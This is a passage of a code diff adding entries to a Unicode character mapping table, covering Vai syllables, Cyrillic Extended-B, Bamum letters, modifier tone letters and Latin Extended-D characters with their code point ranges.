+ [0xa5c4, 0xa5c4], /* VAI SYLLABLE MBO */
+ [0xa5c5, 0xa5c5], /* VAI SYLLABLE KPO */
+ [0xa5c6, 0xa5c6], /* VAI SYLLABLE MGBO */
+ [0xa5c7, 0xa5c7], /* VAI SYLLABLE GBO */
+ [0xa5c8, 0xa5c8], /* VAI SYLLABLE GBON */
+ [0xa5c9, 0xa5c9], /* VAI SYLLABLE FO */
+ [0xa5ca, 0xa5ca], /* VAI SYLLABLE VO */
+ [0xa5cb, 0xa5cb], /* VAI SYLLABLE TO */
+ [0xa5cc, 0xa5cc], /* VAI SYLLABLE THO */
+ [0xa5cd, 0xa5cd], /* VAI SYLLABLE DHO */
+ [0xa5ce, 0xa5ce], /* VAI SYLLABLE DHHO */
+ [0xa5cf, 0xa5cf], /* VAI SYLLABLE LO */
+ [0xa5d0, 0xa5d0], /* VAI SYLLABLE RO */
+ [0xa5d1, 0xa5d1], /* VAI SYLLABLE DO */
+ [0xa5d2, 0xa5d2], /* VAI SYLLABLE NDO */
+ [0xa5d3, 0xa5d3], /* VAI SYLLABLE SO */
+ [0xa5d4, 0xa5d4], /* VAI SYLLABLE SHO */
+ [0xa5d5, 0xa5d5], /* VAI SYLLABLE ZO */
+ [0xa5d6, 0xa5d6], /* VAI SYLLABLE ZHO */
+ [0xa5d7, 0xa5d7], /* VAI SYLLABLE CO */
+ [0xa5d8, 0xa5d8], /* VAI SYLLABLE JO */
+ [0xa5d9, 0xa5d9], /* VAI SYLLABLE NJO */
+ [0xa5da, 0xa5da], /* VAI SYLLABLE YO */
+ [0xa5db, 0xa5db], /* VAI SYLLABLE KO */
+ [0xa5dc, 0xa5dc], /* VAI SYLLABLE NGGO */
+ [0xa5dd, 0xa5dd], /* VAI SYLLABLE GO */
+ [0xa5de, 0xa5de], /* VAI SYLLABLE MO */
+ [0xa5df, 0xa5df], /* VAI SYLLABLE NO */
+ [0xa5e0, 0xa5e0], /* VAI SYLLABLE NYO */
+ [0xa5e1, 0xa5e1], /* VAI SYLLABLE E */
+ [0xa5e2, 0xa5e2], /* VAI SYLLABLE EN */
+ [0xa5e3, 0xa5e3], /* VAI SYLLABLE NGEN */
+ [0xa5e4, 0xa5e4], /* VAI SYLLABLE HE */
+ [0xa5e5, 0xa5e5], /* VAI SYLLABLE HEN */
+ [0xa5e6, 0xa5e6], /* VAI SYLLABLE WE */
+ [0xa5e7, 0xa5e7], /* VAI SYLLABLE WEN */
+ [0xa5e8, 0xa5e8], /* VAI SYLLABLE PE */
+ [0xa5e9, 0xa5e9], /* VAI SYLLABLE BHE */
+ [0xa5ea, 0xa5ea], /* VAI SYLLABLE BE */
+ [0xa5eb, 0xa5eb], /* VAI SYLLABLE MBE */
+ [0xa5ec, 0xa5ec], /* VAI SYLLABLE KPE */
+ [0xa5ed, 0xa5ed], /* VAI SYLLABLE KPEN */
+ [0xa5ee, 0xa5ee], /* VAI SYLLABLE MGBE */
+ [0xa5ef, 0xa5ef], /* VAI SYLLABLE GBE */
+ [0xa5f0, 0xa5f0], /* VAI SYLLABLE GBEN */
+ [0xa5f1, 0xa5f1], /* VAI SYLLABLE FE */
+ [0xa5f2, 0xa5f2], /* VAI SYLLABLE VE */
+ [0xa5f3, 0xa5f3], /* VAI SYLLABLE TE */
+ [0xa5f4, 0xa5f4], /* VAI SYLLABLE THE */
+ [0xa5f5, 0xa5f5], /* VAI SYLLABLE DHE */
+ [0xa5f6, 0xa5f6], /* VAI SYLLABLE DHHE */
+ [0xa5f7, 0xa5f7], /* VAI SYLLABLE LE */
+ [0xa5f8, 0xa5f8], /* VAI SYLLABLE RE */
+ [0xa5f9, 0xa5f9], /* VAI SYLLABLE DE */
+ [0xa5fa, 0xa5fa], /* VAI SYLLABLE NDE */
+ [0xa5fb, 0xa5fb], /* VAI SYLLABLE SE */
+ [0xa5fc, 0xa5fc], /* VAI SYLLABLE SHE */
+ [0xa5fd, 0xa5fd], /* VAI SYLLABLE ZE */
+ [0xa5fe, 0xa5fe], /* VAI SYLLABLE ZHE */
+ [0xa5ff, 0xa5ff], /* VAI SYLLABLE CE */
+ [0xa600, 0xa600], /* VAI SYLLABLE JE */
+ [0xa601, 0xa601], /* VAI SYLLABLE NJE */
+ [0xa602, 0xa602], /* VAI SYLLABLE YE */
+ [0xa603, 0xa603], /* VAI SYLLABLE KE */
+ [0xa604, 0xa604], /* VAI SYLLABLE NGGE */
+ [0xa605, 0xa605], /* VAI SYLLABLE NGGEN */
+ [0xa606, 0xa606], /* VAI SYLLABLE GE */
+ [0xa607, 0xa607], /* VAI SYLLABLE GEN */
+ [0xa608, 0xa608], /* VAI SYLLABLE ME */
+ [0xa609, 0xa609], /* VAI SYLLABLE NE */
+ [0xa60a, 0xa60a], /* VAI SYLLABLE NYE */
+ [0xa60b, 0xa60b], /* VAI SYLLABLE NG */
+ [0xa60c, 0xa60c], /* VAI SYLLABLE LENGTHENER */
+ [0xa60d, 0xa60d], /* VAI COMMA */
+ [0xa60e, 0xa60e], /* VAI FULL STOP */
+ [0xa60f, 0xa60f], /* VAI QUESTION MARK */
+ [0xa610, 0xa610], /* VAI SYLLABLE NDOLE FA */
+ [0xa611, 0xa611], /* VAI SYLLABLE NDOLE KA */
+ [0xa612, 0xa612], /* VAI SYLLABLE NDOLE SOO */
+ [0xa613, 0xa613], /* VAI SYMBOL FEENG */
+ [0xa614, 0xa614], /* VAI SYMBOL KEENG */
+ [0xa615, 0xa615], /* VAI SYMBOL TING */
+ [0xa616, 0xa616], /* VAI SYMBOL NII */
+ [0xa617, 0xa617], /* VAI SYMBOL BANG */
+ [0xa618, 0xa618], /* VAI SYMBOL FAA */
+ [0xa619, 0xa619], /* VAI SYMBOL TAA */
+ [0xa61a, 0xa61a], /* VAI SYMBOL DANG */
+ [0xa61b, 0xa61b], /* VAI SYMBOL DOONG */
+ [0xa61c, 0xa61c], /* VAI SYMBOL KUNG */
+ [0xa61d, 0xa61d], /* VAI SYMBOL TONG */
+ [0xa61e, 0xa61e], /* VAI SYMBOL DO-O */
+ [0xa61f, 0xa61f], /* VAI SYMBOL JONG */
+ [0xa620, 0xa620], /* VAI DIGIT ZERO */
+ [0xa621, 0xa621], /* VAI DIGIT ONE */
+ [0xa622, 0xa622], /* VAI DIGIT TWO */
+ [0xa623, 0xa623], /* VAI DIGIT THREE */
+ [0xa624, 0xa624], /* VAI DIGIT FOUR */
+ [0xa625, 0xa625], /* VAI DIGIT FIVE */
+ [0xa626, 0xa626], /* VAI DIGIT SIX */
+ [0xa627, 0xa627], /* VAI DIGIT SEVEN */
+ [0xa628, 0xa628], /* VAI DIGIT EIGHT */
+ [0xa629, 0xa629], /* VAI DIGIT NINE */
+ [0xa62a, 0xa62a], /* VAI SYLLABLE NDOLE MA */
+ [0xa62b, 0xa62b], /* VAI SYLLABLE NDOLE DO */
+ [0xa62c, 0xa62c],
+ [0xa62d, 0xa62d],
+ [0xa62e, 0xa62e],
+ [0xa62f, 0xa62f],
+ [0xa630, 0xa630],
+ [0xa631, 0xa631],
+ [0xa632, 0xa632],
+ [0xa633, 0xa633],
+ [0xa634, 0xa634],
+ [0xa635, 0xa635],
+ [0xa636, 0xa636],
+ [0xa637, 0xa637],
+ [0xa638, 0xa638],
+ [0xa639, 0xa639],
+ [0xa63a, 0xa63a],
+ [0xa63b, 0xa63b],
+ [0xa63c, 0xa63c],
+ [0xa63d, 0xa63d],
+ [0xa63e, 0xa63e],
+ [0xa63f, 0xa63f],
+ [0xa640, 0xa641], /* CYRILLIC CAPITAL LETTER ZEMLYA */
+ [0xa640, 0xa641], /* CYRILLIC SMALL LETTER ZEMLYA */
+ [0xa642, 0xa643], /* CYRILLIC CAPITAL LETTER DZELO */
+ [0xa642, 0xa643], /* CYRILLIC SMALL LETTER DZELO */
+ [0xa644, 0xa645], /* CYRILLIC CAPITAL LETTER REVERSED DZE */
+ [0xa644, 0xa645], /* CYRILLIC SMALL LETTER REVERSED DZE */
+ [0xa646, 0xa647], /* CYRILLIC CAPITAL LETTER IOTA */
+ [0xa646, 0xa647], /* CYRILLIC SMALL LETTER IOTA */
+ [0xa648, 0xa649], /* CYRILLIC CAPITAL LETTER DJERV */
+ [0xa648, 0xa649], /* CYRILLIC SMALL LETTER DJERV */
+ [0xa64a, 0xa64b], /* CYRILLIC CAPITAL LETTER MONOGRAPH UK */
+ [0xa64a, 0xa64b], /* CYRILLIC SMALL LETTER MONOGRAPH UK */
+ [0xa64c, 0xa64d], /* CYRILLIC CAPITAL LETTER BROAD OMEGA */
+ [0xa64c, 0xa64d], /* CYRILLIC SMALL LETTER BROAD OMEGA */
+ [0xa64e, 0xa64f], /* CYRILLIC CAPITAL LETTER NEUTRAL YER */
+ [0xa64e, 0xa64f], /* CYRILLIC SMALL LETTER NEUTRAL YER */
+ [0xa650, 0xa651], /* CYRILLIC CAPITAL LETTER YERU WITH BACK YER */
+ [0xa650, 0xa651], /* CYRILLIC SMALL LETTER YERU WITH BACK YER */
+ [0xa652, 0xa653], /* CYRILLIC CAPITAL LETTER IOTIFIED YAT */
+ [0xa652, 0xa653], /* CYRILLIC SMALL LETTER IOTIFIED YAT */
+ [0xa654, 0xa655], /* CYRILLIC CAPITAL LETTER REVERSED YU */
+ [0xa654, 0xa655], /* CYRILLIC SMALL LETTER REVERSED YU */
+ [0xa656, 0xa657], /* CYRILLIC CAPITAL LETTER IOTIFIED A */
+ [0xa656, 0xa657], /* CYRILLIC SMALL LETTER IOTIFIED A */
+ [0xa658, 0xa659], /* CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS */
+ [0xa658, 0xa659], /* CYRILLIC SMALL LETTER CLOSED LITTLE YUS */
+ [0xa65a, 0xa65b], /* CYRILLIC CAPITAL LETTER BLENDED YUS */
+ [0xa65a, 0xa65b], /* CYRILLIC SMALL LETTER BLENDED YUS */
+ [0xa65c, 0xa65d], /* CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS */
+ [0xa65c, 0xa65d], /* CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS */
+ [0xa65e, 0xa65f], /* CYRILLIC CAPITAL LETTER YN */
+ [0xa65e, 0xa65f], /* CYRILLIC SMALL LETTER YN */
+ [0xa660, 0xa661], /* CYRILLIC CAPITAL LETTER REVERSED TSE */
+ [0xa660, 0xa661], /* CYRILLIC SMALL LETTER REVERSED TSE */
+ [0xa662, 0xa663], /* CYRILLIC CAPITAL LETTER SOFT DE */
+ [0xa662, 0xa663], /* CYRILLIC SMALL LETTER SOFT DE */
+ [0xa664, 0xa665], /* CYRILLIC CAPITAL LETTER SOFT EL */
+ [0xa664, 0xa665], /* CYRILLIC SMALL LETTER SOFT EL */
+ [0xa666, 0xa667], /* CYRILLIC CAPITAL LETTER SOFT EM */
+ [0xa666, 0xa667], /* CYRILLIC SMALL LETTER SOFT EM */
+ [0xa668, 0xa669], /* CYRILLIC CAPITAL LETTER MONOCULAR O */
+ [0xa668, 0xa669], /* CYRILLIC SMALL LETTER MONOCULAR O */
+ [0xa66a, 0xa66b], /* CYRILLIC CAPITAL LETTER BINOCULAR O */
+ [0xa66a, 0xa66b], /* CYRILLIC SMALL LETTER BINOCULAR O */
+ [0xa66c, 0xa66d], /* CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O */
+ [0xa66c, 0xa66d], /* CYRILLIC SMALL LETTER DOUBLE MONOCULAR O */
+ [0xa66e, 0xa66e], /* CYRILLIC LETTER MULTIOCULAR O */
+ [0xa66f, 0xa66f], /* COMBINING CYRILLIC VZMET */
+ [0xa670, 0xa670], /* COMBINING CYRILLIC TEN MILLIONS SIGN */
+ [0xa671, 0xa671], /* COMBINING CYRILLIC HUNDRED MILLIONS SIGN */
+ [0xa672, 0xa672], /* COMBINING CYRILLIC THOUSAND MILLIONS SIGN */
+ [0xa673, 0xa673], /* SLAVONIC ASTERISK */
+ [0xa674, 0xa674], /* COMBINING CYRILLIC LETTER UKRAINIAN IE */
+ [0xa675, 0xa675], /* COMBINING CYRILLIC LETTER I */
+ [0xa676, 0xa676], /* COMBINING CYRILLIC LETTER YI */
+ [0xa677, 0xa677], /* COMBINING CYRILLIC LETTER U */
+ [0xa678, 0xa678], /* COMBINING CYRILLIC LETTER HARD SIGN */
+ [0xa679, 0xa679], /* COMBINING CYRILLIC LETTER YERU */
+ [0xa67a, 0xa67a], /* COMBINING CYRILLIC LETTER SOFT SIGN */
+ [0xa67b, 0xa67b], /* COMBINING CYRILLIC LETTER OMEGA */
+ [0xa67c, 0xa67c], /* COMBINING CYRILLIC KAVYKA */
+ [0xa67d, 0xa67d], /* COMBINING CYRILLIC PAYEROK */
+ [0xa67e, 0xa67e], /* CYRILLIC KAVYKA */
+ [0xa67f, 0xa67f], /* CYRILLIC PAYEROK */
+ [0xa680, 0xa681], /* CYRILLIC CAPITAL LETTER DWE */
+ [0xa680, 0xa681], /* CYRILLIC SMALL LETTER DWE */
+ [0xa682, 0xa683], /* CYRILLIC CAPITAL LETTER DZWE */
+ [0xa682, 0xa683], /* CYRILLIC SMALL LETTER DZWE */
+ [0xa684, 0xa685], /* CYRILLIC CAPITAL LETTER ZHWE */
+ [0xa684, 0xa685], /* CYRILLIC SMALL LETTER ZHWE */
+ [0xa686, 0xa687], /* CYRILLIC CAPITAL LETTER CCHE */
+ [0xa686, 0xa687], /* CYRILLIC SMALL LETTER CCHE */
+ [0xa688, 0xa689], /* CYRILLIC CAPITAL LETTER DZZE */
+ [0xa688, 0xa689], /* CYRILLIC SMALL LETTER DZZE */
+ [0xa68a, 0xa68b], /* CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK */
+ [0xa68a, 0xa68b], /* CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK */
+ [0xa68c, 0xa68d], /* CYRILLIC CAPITAL LETTER TWE */
+ [0xa68c, 0xa68d], /* CYRILLIC SMALL LETTER TWE */
+ [0xa68e, 0xa68f], /* CYRILLIC CAPITAL LETTER TSWE */
+ [0xa68e, 0xa68f], /* CYRILLIC SMALL LETTER TSWE */
+ [0xa690, 0xa691], /* CYRILLIC CAPITAL LETTER TSSE */
+ [0xa690, 0xa691], /* CYRILLIC SMALL LETTER TSSE */
+ [0xa692, 0xa693], /* CYRILLIC CAPITAL LETTER TCHE */
+ [0xa692, 0xa693], /* CYRILLIC SMALL LETTER TCHE */
+ [0xa694, 0xa695], /* CYRILLIC CAPITAL LETTER HWE */
+ [0xa694, 0xa695], /* CYRILLIC SMALL LETTER HWE */
+ [0xa696, 0xa697], /* CYRILLIC CAPITAL LETTER SHWE */
+ [0xa696, 0xa697], /* CYRILLIC SMALL LETTER SHWE */
+ [0xa698, 0xa699], /* CYRILLIC CAPITAL LETTER DOUBLE O */
+ [0xa698, 0xa699], /* CYRILLIC SMALL LETTER DOUBLE O */
+ [0xa69a, 0xa69b], /* CYRILLIC CAPITAL LETTER CROSSED O */
+ [0xa69a, 0xa69b], /* CYRILLIC SMALL LETTER CROSSED O */
+ [0xa69c, 0xa69c], /* MODIFIER LETTER CYRILLIC HARD SIGN */
+ [0xa69d, 0xa69d], /* MODIFIER LETTER CYRILLIC SOFT SIGN */
+ [0xa69e, 0xa69e], /* COMBINING CYRILLIC LETTER EF */
+ [0xa69f, 0xa69f], /* COMBINING CYRILLIC LETTER IOTIFIED E */
+ [0xa6a0, 0xa6a0], /* BAMUM LETTER A */
+ [0xa6a1, 0xa6a1], /* BAMUM LETTER KA */
+ [0xa6a2, 0xa6a2], /* BAMUM LETTER U */
+ [0xa6a3, 0xa6a3], /* BAMUM LETTER KU */
+ [0xa6a4, 0xa6a4], /* BAMUM LETTER EE */
+ [0xa6a5, 0xa6a5], /* BAMUM LETTER REE */
+ [0xa6a6, 0xa6a6], /* BAMUM LETTER TAE */
+ [0xa6a7, 0xa6a7], /* BAMUM LETTER O */
+ [0xa6a8, 0xa6a8], /* BAMUM LETTER NYI */
+ [0xa6a9, 0xa6a9], /* BAMUM LETTER I */
+ [0xa6aa, 0xa6aa], /* BAMUM LETTER LA */
+ [0xa6ab, 0xa6ab], /* BAMUM LETTER PA */
+ [0xa6ac, 0xa6ac], /* BAMUM LETTER RII */
+ [0xa6ad, 0xa6ad], /* BAMUM LETTER RIEE */
+ [0xa6ae, 0xa6ae], /* BAMUM LETTER LEEEE */
+ [0xa6af, 0xa6af], /* BAMUM LETTER MEEEE */
+ [0xa6b0, 0xa6b0], /* BAMUM LETTER TAA */
+ [0xa6b1, 0xa6b1], /* BAMUM LETTER NDAA */
+ [0xa6b2, 0xa6b2], /* BAMUM LETTER NJAEM */
+ [0xa6b3, 0xa6b3], /* BAMUM LETTER M */
+ [0xa6b4, 0xa6b4], /* BAMUM LETTER SUU */
+ [0xa6b5, 0xa6b5], /* BAMUM LETTER MU */
+ [0xa6b6, 0xa6b6], /* BAMUM LETTER SHII */
+ [0xa6b7, 0xa6b7], /* BAMUM LETTER SI */
+ [0xa6b8, 0xa6b8], /* BAMUM LETTER SHEUX */
+ [0xa6b9, 0xa6b9], /* BAMUM LETTER SEUX */
+ [0xa6ba, 0xa6ba], /* BAMUM LETTER KYEE */
+ [0xa6bb, 0xa6bb], /* BAMUM LETTER KET */
+ [0xa6bc, 0xa6bc], /* BAMUM LETTER NUAE */
+ [0xa6bd, 0xa6bd], /* BAMUM LETTER NU */
+ [0xa6be, 0xa6be], /* BAMUM LETTER NJUAE */
+ [0xa6bf, 0xa6bf], /* BAMUM LETTER YOQ */
+ [0xa6c0, 0xa6c0], /* BAMUM LETTER SHU */
+ [0xa6c1, 0xa6c1], /* BAMUM LETTER YUQ */
+ [0xa6c2, 0xa6c2], /* BAMUM LETTER YA */
+ [0xa6c3, 0xa6c3], /* BAMUM LETTER NSHA */
+ [0xa6c4, 0xa6c4], /* BAMUM LETTER KEUX */
+ [0xa6c5, 0xa6c5], /* BAMUM LETTER PEUX */
+ [0xa6c6, 0xa6c6], /* BAMUM LETTER NJEE */
+ [0xa6c7, 0xa6c7], /* BAMUM LETTER NTEE */
+ [0xa6c8, 0xa6c8], /* BAMUM LETTER PUE */
+ [0xa6c9, 0xa6c9], /* BAMUM LETTER WUE */
+ [0xa6ca, 0xa6ca], /* BAMUM LETTER PEE */
+ [0xa6cb, 0xa6cb], /* BAMUM LETTER FEE */
+ [0xa6cc, 0xa6cc], /* BAMUM LETTER RU */
+ [0xa6cd, 0xa6cd], /* BAMUM LETTER LU */
+ [0xa6ce, 0xa6ce], /* BAMUM LETTER MI */
+ [0xa6cf, 0xa6cf], /* BAMUM LETTER NI */
+ [0xa6d0, 0xa6d0], /* BAMUM LETTER REUX */
+ [0xa6d1, 0xa6d1], /* BAMUM LETTER RAE */
+ [0xa6d2, 0xa6d2], /* BAMUM LETTER KEN */
+ [0xa6d3, 0xa6d3], /* BAMUM LETTER NGKWAEN */
+ [0xa6d4, 0xa6d4], /* BAMUM LETTER NGGA */
+ [0xa6d5, 0xa6d5], /* BAMUM LETTER NGA */
+ [0xa6d6, 0xa6d6], /* BAMUM LETTER SHO */
+ [0xa6d7, 0xa6d7], /* BAMUM LETTER PUAE */
+ [0xa6d8, 0xa6d8], /* BAMUM LETTER FU */
+ [0xa6d9, 0xa6d9], /* BAMUM LETTER FOM */
+ [0xa6da, 0xa6da], /* BAMUM LETTER WA */
+ [0xa6db, 0xa6db], /* BAMUM LETTER NA */
+ [0xa6dc, 0xa6dc], /* BAMUM LETTER LI */
+ [0xa6dd, 0xa6dd], /* BAMUM LETTER PI */
+ [0xa6de, 0xa6de], /* BAMUM LETTER LOQ */
+ [0xa6df, 0xa6df], /* BAMUM LETTER KO */
+ [0xa6e0, 0xa6e0], /* BAMUM LETTER MBEN */
+ [0xa6e1, 0xa6e1], /* BAMUM LETTER REN */
+ [0xa6e2, 0xa6e2], /* BAMUM LETTER MEN */
+ [0xa6e3, 0xa6e3], /* BAMUM LETTER MA */
+ [0xa6e4, 0xa6e4], /* BAMUM LETTER TI */
+ [0xa6e5, 0xa6e5], /* BAMUM LETTER KI */
+ [0xa6e6, 0xa6e6], /* BAMUM LETTER MO */
+ [0xa6e7, 0xa6e7], /* BAMUM LETTER MBAA */
+ [0xa6e8, 0xa6e8], /* BAMUM LETTER TET */
+ [0xa6e9, 0xa6e9], /* BAMUM LETTER KPA */
+ [0xa6ea, 0xa6ea], /* BAMUM LETTER TEN */
+ [0xa6eb, 0xa6eb], /* BAMUM LETTER NTUU */
+ [0xa6ec, 0xa6ec], /* BAMUM LETTER SAMBA */
+ [0xa6ed, 0xa6ed], /* BAMUM LETTER FAAMAE */
+ [0xa6ee, 0xa6ee], /* BAMUM LETTER KOVUU */
+ [0xa6ef, 0xa6ef], /* BAMUM LETTER KOGHOM */
+ [0xa6f0, 0xa6f0], /* BAMUM COMBINING MARK KOQNDON */
+ [0xa6f1, 0xa6f1], /* BAMUM COMBINING MARK TUKWENTIS */
+ [0xa6f2, 0xa6f2], /* BAMUM NJAEMLI */
+ [0xa6f3, 0xa6f3], /* BAMUM FULL STOP */
+ [0xa6f4, 0xa6f4], /* BAMUM COLON */
+ [0xa6f5, 0xa6f5], /* BAMUM COMMA */
+ [0xa6f6, 0xa6f6], /* BAMUM SEMICOLON */
+ [0xa6f7, 0xa6f7], /* BAMUM QUESTION MARK */
+ [0xa6f8, 0xa6f8],
+ [0xa6f9, 0xa6f9],
+ [0xa6fa, 0xa6fa],
+ [0xa6fb, 0xa6fb],
+ [0xa6fc, 0xa6fc],
+ [0xa6fd, 0xa6fd],
+ [0xa6fe, 0xa6fe],
+ [0xa6ff, 0xa6ff],
+ [0xa700, 0xa700], /* MODIFIER LETTER CHINESE TONE YIN PING */
+ [0xa701, 0xa701], /* MODIFIER LETTER CHINESE TONE YANG PING */
+ [0xa702, 0xa702], /* MODIFIER LETTER CHINESE TONE YIN SHANG */
+ [0xa703, 0xa703], /* MODIFIER LETTER CHINESE TONE YANG SHANG */
+ [0xa704, 0xa704], /* MODIFIER LETTER CHINESE TONE YIN QU */
+ [0xa705, 0xa705], /* MODIFIER LETTER CHINESE TONE YANG QU */
+ [0xa706, 0xa706], /* MODIFIER LETTER CHINESE TONE YIN RU */
+ [0xa707, 0xa707], /* MODIFIER LETTER CHINESE TONE YANG RU */
+ [0xa708, 0xa708], /* MODIFIER LETTER EXTRA-HIGH DOTTED TONE BAR */
+ [0xa709, 0xa709], /* MODIFIER LETTER HIGH DOTTED TONE BAR */
+ [0xa70a, 0xa70a], /* MODIFIER LETTER MID DOTTED TONE BAR */
+ [0xa70b, 0xa70b], /* MODIFIER LETTER LOW DOTTED TONE BAR */
+ [0xa70c, 0xa70c], /* MODIFIER LETTER EXTRA-LOW DOTTED TONE BAR */
+ [0xa70d, 0xa70d], /* MODIFIER LETTER EXTRA-HIGH DOTTED LEFT-STEM TONE BAR */
+ [0xa70e, 0xa70e], /* MODIFIER LETTER HIGH DOTTED LEFT-STEM TONE BAR */
+ [0xa70f, 0xa70f], /* MODIFIER LETTER MID DOTTED LEFT-STEM TONE BAR */
+ [0xa710, 0xa710], /* MODIFIER LETTER LOW DOTTED LEFT-STEM TONE BAR */
+ [0xa711, 0xa711], /* MODIFIER LETTER EXTRA-LOW DOTTED LEFT-STEM TONE BAR */
+ [0xa712, 0xa712], /* MODIFIER LETTER EXTRA-HIGH LEFT-STEM TONE BAR */
+ [0xa713, 0xa713], /* MODIFIER LETTER HIGH LEFT-STEM TONE BAR */
+ [0xa714, 0xa714], /* MODIFIER LETTER MID LEFT-STEM TONE BAR */
+ [0xa715, 0xa715], /* MODIFIER LETTER LOW LEFT-STEM TONE BAR */
+ [0xa716, 0xa716], /* MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR */
+ [0xa717, 0xa717], /* MODIFIER LETTER DOT VERTICAL BAR */
+ [0xa718, 0xa718], /* MODIFIER LETTER DOT SLASH */
+ [0xa719, 0xa719], /* MODIFIER LETTER DOT HORIZONTAL BAR */
+ [0xa71a, 0xa71a], /* MODIFIER LETTER LOWER RIGHT CORNER ANGLE */
+ [0xa71b, 0xa71b], /* MODIFIER LETTER RAISED UP ARROW */
+ [0xa71c, 0xa71c], /* MODIFIER LETTER RAISED DOWN ARROW */
+ [0xa71d, 0xa71d], /* MODIFIER LETTER RAISED EXCLAMATION MARK */
+ [0xa71e, 0xa71e], /* MODIFIER LETTER RAISED INVERTED EXCLAMATION MARK */
+ [0xa71f, 0xa71f], /* MODIFIER LETTER LOW INVERTED EXCLAMATION MARK */
+ [0xa720, 0xa720], /* MODIFIER LETTER STRESS AND HIGH TONE */
+ [0xa721, 0xa721], /* MODIFIER LETTER STRESS AND LOW TONE */
+ [0xa722, 0xa723], /* LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF */
+ [0xa722, 0xa723], /* LATIN SMALL LETTER EGYPTOLOGICAL ALEF */
+ [0xa724, 0xa725], /* LATIN CAPITAL LETTER EGYPTOLOGICAL AIN */
+ [0xa724, 0xa725], /* LATIN SMALL LETTER EGYPTOLOGICAL AIN */
+ [0xa726, 0xa727], /* LATIN CAPITAL LETTER HENG */
+ [0xa726, 0xa727], /* LATIN SMALL LETTER HENG */
+ [0xa728, 0xa729], /* LATIN CAPITAL LETTER TZ */
+ [0xa728, 0xa729], /* LATIN SMALL LETTER TZ */
+ [0xa72a, 0xa72b], /* LATIN CAPITAL LETTER TRESILLO */
+ [0xa72a, 0xa72b], /* LATIN SMALL LETTER TRESILLO */
+ [0xa72c, 0xa72d], /* LATIN CAPITAL LETTER CUATRILLO */
+ [0xa72c, 0xa72d], /* LATIN SMALL LETTER CUATRILLO */
+ [0xa72e, 0xa72f], /* LATIN CAPITAL LETTER CUATRILLO WITH COMMA */
+ [0xa72e, 0xa72f], /* LATIN SMALL LETTER CUATRILLO WITH COMMA */
+ [0xa730, 0xa730], /* LATIN LETTER SMALL CAPITAL F */
+ [0xa731, 0xa731], /* LATIN LETTER SMALL CAPITAL S */
+ [0xa732, 0xa733], /* LATIN CAPITAL LETTER AA */
+ [0xa732, 0xa733], /* LATIN SMALL LETTER AA */
+ [0xa734, 0xa735], /* LATIN CAPITAL LETTER AO */
+ [0xa734, 0xa735], /* LATIN SMALL LETTER AO */
+ [0xa736, 0xa737], /* LATIN CAPITAL LETTER AU */
+ [0xa736, 0xa737], /* LATIN SMALL LETTER AU */
+ [0xa738, 0xa739], /* LATIN CAPITAL LETTER AV */
+ [0xa738, 0xa739], /* LATIN SMALL LETTER AV */
+ [0xa73a, 0xa73b], /* LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR */
+ [0xa73a, 0xa73b], /* LATIN SMALL LETTER AV WITH HORIZONTAL BAR */
+ [0xa73c, 0xa73d], /* LATIN CAPITAL LETTER AY */
+ [0xa73c, 0xa73d], /* LATIN SMALL LETTER AY */
+ [0xa73e, 0xa73f], /* LATIN CAPITAL LETTER REVERSED C WITH DOT */
+ [0xa73e, 0xa73f], /* LATIN SMALL LETTER REVERSED C WITH DOT */
+ [0xa740, 0xa741], /* LATIN CAPITAL LETTER K WITH STROKE */
+ [0xa740, 0xa741], /* LATIN SMALL LETTER K WITH STROKE */
+ [0xa742, 0xa743], /* LATIN CAPITAL LETTER K WITH DIAGONAL STROKE */
+ [0xa742, 0xa743], /* LATIN SMALL LETTER K WITH DIAGONAL STROKE */
+ [0xa744, 0xa745], /* LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE */
+ [0xa744, 0xa745], /* LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE */
+ [0xa746, 0xa747], /* LATIN CAPITAL LETTER BROKEN L */
+ [0xa746, 0xa747], /* LATIN SMALL LETTER BROKEN L */
+ [0xa748, 0xa749], /* LATIN CAPITAL LETTER L WITH HIGH STROKE */
+ [0xa748, 0xa749], /* LATIN SMALL LETTER L WITH HIGH STROKE */
+ [0xa74a, 0xa74b], /* LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY */
+ [0xa74a, 0xa74b], /* LATIN SMALL LETTER O WITH LONG STROKE OVERLAY */
+ [0xa74c, 0xa74d], /* LATIN CAPITAL LETTER O WITH LOOP */
+ [0xa74c, 0xa74d], /* LATIN SMALL LETTER O WITH LOOP */
+ [0xa74e, 0xa74f], /* LATIN CAPITAL LETTER OO */
+ [0xa74e, 0xa74f], /* LATIN SMALL LETTER OO */
+ [0xa750, 0xa751], /* LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER */
+ [0xa750, 0xa751], /* LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER */
+ [0xa752, 0xa753], /* LATIN CAPITAL LETTER P WITH FLOURISH */
+ [0xa752, 0xa753], /* LATIN SMALL LETTER P WITH FLOURISH */
+ [0xa754, 0xa755], /* LATIN CAPITAL LETTER P WITH SQUIRREL TAIL */
+ [0xa754, 0xa755], /* LATIN SMALL LETTER P WITH SQUIRREL TAIL */
+ [0xa756, 0xa757], /* LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER */
+ [0xa756, 0xa757], /* LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER */
+ [0xa758, 0xa759], /* LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE */
+ [0xa758, 0xa759], /* LATIN SMALL LETTER Q WITH DIAGONAL STROKE */
+ [0xa75a, 0xa75b], /* LATIN CAPITAL LETTER R ROTUNDA */
+ [0xa75a, 0xa75b], /* LATIN SMALL LETTER R ROTUNDA */
+ [0xa75c, 0xa75d], /* LATIN CAPITAL LETTER RUM ROTUNDA */
+ [0xa75c, 0xa75d], /* LATIN SMALL LETTER RUM ROTUNDA */
+ [0xa75e, 0xa75f], /* LATIN CAPITAL LETTER V WITH DIAGONAL STROKE */
+ [0xa75e, 0xa75f], /* LATIN SMALL LETTER V WITH DIAGONAL STROKE */
